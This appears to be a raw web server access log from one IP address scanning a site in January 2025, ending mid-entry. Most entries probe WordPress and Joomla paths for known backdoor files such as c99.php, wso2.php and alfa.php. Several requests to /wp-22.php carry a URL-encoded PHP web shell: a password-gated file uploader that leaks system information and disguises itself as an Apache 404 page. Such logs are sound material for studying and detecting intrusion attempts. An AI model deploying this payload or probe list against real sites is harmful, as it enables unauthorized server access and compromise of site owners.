- [19/Jan/2025:18:45:12 +0530] "GET /w.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:12 +0530] "GET /wp-includes/images/wp-blog.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:12 +0530] "GET /6index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:13 +0530] "GET /wp-content/kevindepzai.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:14 +0530] "GET /z.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:14 +0530] "GET /ohayo.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:14 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:15 +0530] "GET /administrator/templates/hathor/error.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:15 +0530] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:16 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:16 +0530] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:18 +0530] "GET /new_license.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:18 +0530] "GET /templates/beez5/error.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:20 +0530] "GET /export.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:20 +0530] "GET /uploads/up.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:20 +0530] "GET /wp-admin/setup-config.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:21 +0530] "GET /wp-admin/shell.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:21 +0530] "GET /wp-includes/css/xm.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:21 +0530] "GET /wp-admin/includes/media-site.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:22 +0530] "GET /22.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:22 +0530] "GET /wp-includes/pomo/xwsoooo.php HTTP/1.1" 302 248 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:25 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:27 +0530] "GET /images/pushy.php HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:28 +0530] "GET /stindex.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:30 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:31 +0530] "GET /templates/beez5/index.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:32 +0530] "GET /wp-admin/includes/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 270 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:32 +0530] "GET /images/c99.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:32 +0530] "GET /RxR.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:32 +0530] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:33 +0530] "GET /wp/rahma.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:33 +0530] "GET /wp-includes/images/media/wp-conflg.php HTTP/1.1" 302 258 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:34 +0530] "GET /if.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:35 +0530] "GET /sym403.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:35 +0530] "GET /wp_class_datalib.php HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:35 +0530] "GET /wp-includes/customize/class-wp-customize-nav-menu.php?new HTTP/1.1" 302 277 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:35 +0530] "GET /bb.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:35 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:35 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:35 +0530] "GET /wp-content/alfa.php HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:36 +0530] "GET /sendmail.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:38 +0530] "GET /wso2.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:38 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:38 +0530] "GET /wp-content/x.php HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:39 +0530] "GET /swm.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:39 +0530] "GET /wp-includes/css/1.phtml HTTP/1.1" 302 243 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:40 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:40 +0530] "GET /wp-includes/wp-atom.php HTTP/1.1" 302 243 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:40 +0530] "GET /wp-admin/includes/edit-tag-menu.php HTTP/1.1" 302 255 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:41 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ub